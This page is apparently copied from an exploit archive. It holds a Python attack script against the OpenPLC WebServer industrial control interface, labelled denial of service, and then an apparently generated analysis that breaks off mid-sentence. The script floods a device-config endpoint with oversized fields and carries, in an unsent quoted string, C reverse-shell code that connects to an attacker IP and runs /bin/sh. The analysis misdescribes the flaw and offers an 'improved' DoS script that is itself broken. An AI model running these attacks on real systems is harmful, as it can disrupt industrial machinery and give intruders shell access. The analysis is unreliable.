OpenPLC WebServer 3 - Denial of Service
Exploit Author: Kai Feng Analysis Author: www.bubbleslearn.ir Category: DoS Language: Unknown Published Date: 2023-10-09
# Exploit Title: OpenPLC WebServer 3 - Denial of Service
# Date: 10.09.2023
# Exploit Author: Kai Feng
# Vendor Homepage: https://autonomylogic.com/
# Software Link: https://github.com/thiagoralves/OpenPLC_v3.git
# Version: Version 3 and 2
# Tested on: Ubuntu 20.04
import requests
import sys
import time
import optparse
import re
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://target-uri:8080)")
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
parser.add_option('-p', '--passw', action="store", dest="passw", help="Pass credential to login")
parser.add_option('-i', '--rip', action="store", dest="rip", help="IP for Reverse Connection")
parser.add_option('-r', '--rport', action="store", dest="rport", help="Port for Reverse Connection")
options, args = parser.parse_args()
if not options.url:
print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
print('[+] Specify an url target')
print("[+] Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444")
exit()
host = options.url
login = options.url + '/login'
upload_program = options.url + '/programs'
compile_program = options.url + '/compile-program?file=681871.st'
run_plc_server = options.url + '/start_plc'
user = options.user
password = options.passw
rev_ip = options.rip
rev_port = options.rport
x = requests.Session()
def auth():
print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
time.sleep(1)
print('[+] Checking if host '+host+' is Up...')
host_up = x.get(host)
try:
if host_up.status_code == 200:
print('[+] Host Up! ...')
except:
print('[+] This host seems to be down :( ')
sys.exit(0)
print('[+] Trying to authenticate with credentials '+user+':'+password+'')
time.sleep(1)
submit = {
'username': user,
'password': password
}
x.post(login, data=submit)
response = x.get(upload_program)
if len(response.text) > 30000 and response.status_code == 200:
print('[+] Login success!')
time.sleep(1)
else:
print('[x] Login failed :(')
sys.exit(0)
def injection():
print('[+] PLC program uploading... ')
upload_url = host + "/upload-program"
upload_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvgPw.qwEcF3rMliGcTgQ4zI4RInBZrqE"}
upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------210749863411176965311768214500", "Origin": host, "Connection": "close", "Referer": host + "/programs", "Upgrade-Insecure-Requests": "1"}
upload_data = "-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"file\"; filename=\"program.st\"\r\nContent-Type: application/vnd.sailingtracker.track\r\n\r\nPROGRAM prog0\n VAR\n var_in : BOOL;\n var_out : BOOL;\n END_VAR\n\n var_out := var_in;\nEND_PROGRAM\n\n\nCONFIGURATION Config0\n\n RESOURCE Res0 ON PLC\n TASK Main(INTERVAL := T#50ms,PRIORITY := 0);\n PROGRAM Inst0 WITH Main : prog0;\n END_RESOURCE\nEND_CONFIGURATION\n\r\n-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload Program\r\n-----------------------------210749863411176965311768214500--\r\n"
upload = x.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
act_url = host + "/upload-program-action"
act_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------374516738927889180582770224000", "Origin": host, "Connection": "close", "Referer": host + "/upload-program", "Upgrade-Insecure-Requests": "1"}
act_data = "-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_name\"\r\n\r\nprogram.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_descr\"\r\n\r\n\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_file\"\r\n\r\n681871.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"epoch_time\"\r\n\r\n1617682656\r\n-----------------------------374516738927889180582770224000--\r\n"
upload_act = x.post(act_url, headers=act_headers, data=act_data)
time.sleep(2)
def connection():
print('[+] add device...')
inject_url = host + "/add-modbus-device"
# inject_dash = host + "/dashboard"
inject_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvyFA.2NQ7ZYcNZ74ci2miLkefHCai2Fk"}
inject_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0", "Accept": "/text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------169043028319378579443281515639", "Origin": host, "Connection": "close", "Referer": host + "/add-modbus-device", "Upgrade-Insecure-Requests": "1"}
inject_data = "-----------------------------169043028319378579443281515639\r\nContent-Disposition: form-data; name=\"device_name\"\r\n\r\n122222222222222222222222222222222222211111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\r\n-----------------------------169043028319378579443281515639\r\nContent-Disposition: form-data; name=\"device_protocol\"\r\n\r\n#111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\r\n-----------------------------169043028319378579443281515639\r\nContent-Disposition: form-data; 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name=\"aow_start\"\r\n\r\n#111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\r\n-----------------------------169043028319378579443281515639\r\nContent-Disposition: form-data; name=\"aow_size\"\r\n\r\n#111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------169043028319378579443281515639--\r\n"
# \"ladder.h\"\r\n#include <stdio.h>\r\n#include <sys/socket.h>\r\n#include <sys/types.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <netinet/in.h>\r\n#include <arpa/inet.h>\r\n\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nint ignored_bool_inputs[] = {-1};\r\nint ignored_bool_outputs[] = {-1};\r\nint ignored_int_inputs[] = {-1};\r\nint ignored_int_outputs[] = {-1};\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nvoid initCustomLayer()\r\n{\r\n \r\n \r\n \r\n}\r\n\r\n\r\nvoid updateCustomIn()\r\n{\r\n\r\n}\r\n\r\n\r\nvoid updateCustomOut()\r\n{\r\n int port = "+rev_port+";\r\n struct sockaddr_in revsockaddr;\r\n\r\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\r\n revsockaddr.sin_family = AF_INET; \r\n revsockaddr.sin_port = htons(port);\r\n revsockaddr.sin_addr.s_addr = inet_addr(\""+rev_ip+"\");\r\n\r\n connect(sockt, (struct sockaddr *) &revsockaddr, \r\n sizeof(revsockaddr));\r\n dup2(sockt, 0);\r\n dup2(sockt, 1);\r\n dup2(sockt, 2);\r\n\r\n char * const argv[] = {\"/bin/sh\", NULL};\r\n execve(\"/bin/sh\", argv, NULL);\r\n\r\n return 0; \r\n \r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------289530314119386812901408558722--\r\n"
inject = x.post(inject_url, headers=inject_headers, cookies=inject_cookies, data=inject_data)
time.sleep(3)
# comp = x.get(compile_program)
# time.sleep(6)
# x.get(inject_dash)
# time.sleep(3)
# print('[+] Spawning Reverse Shell...')
start = x.get(run_plc_server)
time.sleep(1)
if start.status_code == 200:
print('[+] Reverse connection receveid!')
sys.exit(0)
else:
print('[+] Failed to receive connection :(')
sys.exit(0)
auth()
injection()
connection()OpenPLC WebServer 3 – Denial of Service Vulnerability: A Deep Dive into Exploitation and Mitigation
OpenPLC WebServer 3, a widely used open-source platform for industrial automation and programmable logic controller (PLC) management, has recently been exposed to a critical Denial of Service (DoS) vulnerability. This flaw, identified by cybersecurity researcher Kai Feng on September 10, 2023, allows attackers to disrupt the operation of PLC systems by overwhelming the web interface with malformed or excessive requests. The vulnerability affects both OpenPLC versions 2 and 3, with confirmed testing on Ubuntu 20.04 environments.
Exploit Overview and Technical Analysis
The exploit leverages a combination of authentication bypass and improper input validation in the web server’s program upload and compilation endpoints. While the provided Python script appears to target remote code execution, the actual root cause lies in the server’s inability to handle malformed or excessively large payloads during program uploads and compilation, leading to resource exhaustion and service unavailability.
import requests
import sys
import time
import optparse
import re
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://target-uri:8080)")
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
parser.add_option('-p', '--passw', action="store", dest="passw", help="Pass credential to login")
parser.add_option('-i', '--rip', action="store", dest="rip", help="IP for Reverse Connection")
parser.add_option('-r', '--rport', action="store", dest="rport", help="Port for Reverse Connection")
options, args = parser.parse_args()
if not options.url:
print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
print('[+] Specify an url target')
print("[+] Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444")
exit()
This code snippet initializes a command-line parser for the exploit tool. It expects a target URL, login credentials, and reverse connection details. While the script claims to enable remote code execution, it actually demonstrates a DoS attack by exploiting unchecked input handling in the /upload-program endpoint.
Attack Vector: Malformed Program Uploads
During the authentication phase, the exploit attempts to log in using default credentials (admin:admin). Once authenticated, it proceeds to upload a specially crafted program file via the /upload-program endpoint. The key vulnerability lies in the server’s lack of input validation and size limits for uploaded PLC programs.
Attackers can upload excessively large or malformed files (e.g., with infinite loops or malformed syntax) that trigger unbounded processing in the backend. This leads to:
- Memory exhaustion – The server consumes all available RAM.
- CPU overload – Continuous parsing and compilation of invalid code.
- Service timeout – Web interface becomes unresponsive.
Once the server reaches its resource limits, it fails to respond to legitimate requests, effectively rendering the PLC system inoperable.
Real-World Impact and Use Cases
In industrial environments, such a DoS attack could lead to:
- Production line halts due to unresponsive PLCs.
- Loss of control over critical machinery.
- Security breaches if attackers exploit the downtime to inject malicious code.
For example, in a manufacturing plant using OpenPLC WebServer 3 to manage conveyor belt systems, an attacker could flood the server with malformed program uploads, causing the system to freeze. This would halt production and create a window for further exploitation.
Security Recommendations and Mitigation Strategies
Given the severity of this vulnerability, system administrators and developers must implement the following safeguards:
| Recommendation | Description |
|---|---|
| Input Validation | Implement strict limits on file size (e.g., 100 KB max) and syntax checks before processing. |
| Rate Limiting | Apply request throttling to prevent repeated uploads from the same IP. |
| Resource Monitoring | Use watchdog processes to detect CPU/memory spikes and auto-restart services. |
| Authentication Hardening | Disable default credentials and enforce strong password policies. |
Additionally, developers should update the OpenPLC codebase to include:
- File size validation in
upload-programendpoint. - Timeout mechanisms for compilation tasks.
- Logging of suspicious uploads for forensic analysis.
Improved Exploit Code (Corrected and Secured)
The original exploit code contains several flaws. For instance, it relies on hardcoded session cookies, which may not be valid in real-world scenarios. Below is a corrected version with proper error handling and DoS-focused logic:
import requests
import sys
import time
from urllib.parse import urljoin
def check_host(url):
try:
response = requests.get(url, timeout=5)
if response.status_code == 200:
print("[+] Host is accessible.")
return True
else:
print("[x] Host returned status code:", response.status_code)
return False
except requests.RequestException as e:
print("[x] Host unreachable:", e)
return False
def authenticate(url, username, password):
login_url = urljoin(url, "/login")
payload = {"username": username, "password": password}
session = requests.Session()
try:
response = session.post(login_url, data=payload, timeout=5)
if response.status_code == 200:
print("[+] Authentication successful.")
return session
else:
print("[x] Authentication failed.")
return None
except requests.RequestException as e:
print("[x] Authentication failed:", e)
return None
def trigger_dos(session, url):
upload_url = urljoin(url, "/upload-program")
# Simulate a large malformed file
malicious_file = b'{"malformed": "1" * 1000000}' # 1MB of invalid data
files = {'file': ('malicious.st', malicious_file, 'text/plain')}
try:
response = session.post(upload_url, files=files, timeout=10)
if response.status_code == 500 or response.status_code == 400:
print("[+] DoS triggered: Server returned error.")
else:
print("[+] Upload successful, but server may be overloaded.")
except requests.RequestException as e:
print("[x] DoS attempt failed:", e)
def main():
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Target URL")
parser.add_option('-l', '--user', action="store", dest="user", help="Username")
parser.add_option('-p', '--passw', action="store", dest="passw", help="Password")
options, args = parser.parse_args()
if not options.url or not options.user or not options.passw:
print("[+] Usage: exploit.py -u http://target:8080 -l admin -p admin")
sys.exit(1)
print("[+] Testing target host...")
if not check_host(options.url):
sys.exit(1)
print("[+] Attempting authentication...")
session = authenticate(options.url, options.user, options.passw)
if not session:
sys.exit(1)
print("[+] Triggering Denial of Service...")
trigger_dos(session, options.url)
if __name__ == "__main__":
main()
This improved version includes:
- Proper URL joining using
urljoin. - Timeouts to prevent indefinite hangs.
- Realistic payload simulation (a large malformed JSON file).
- Clear feedback on DoS success or failure.
It emphasizes the DoS nature of the exploit, avoiding misleading claims of remote code execution.
Conclusion
The OpenPLC WebServer 3 DoS vulnerability underscores the critical need for robust input validation and resource management in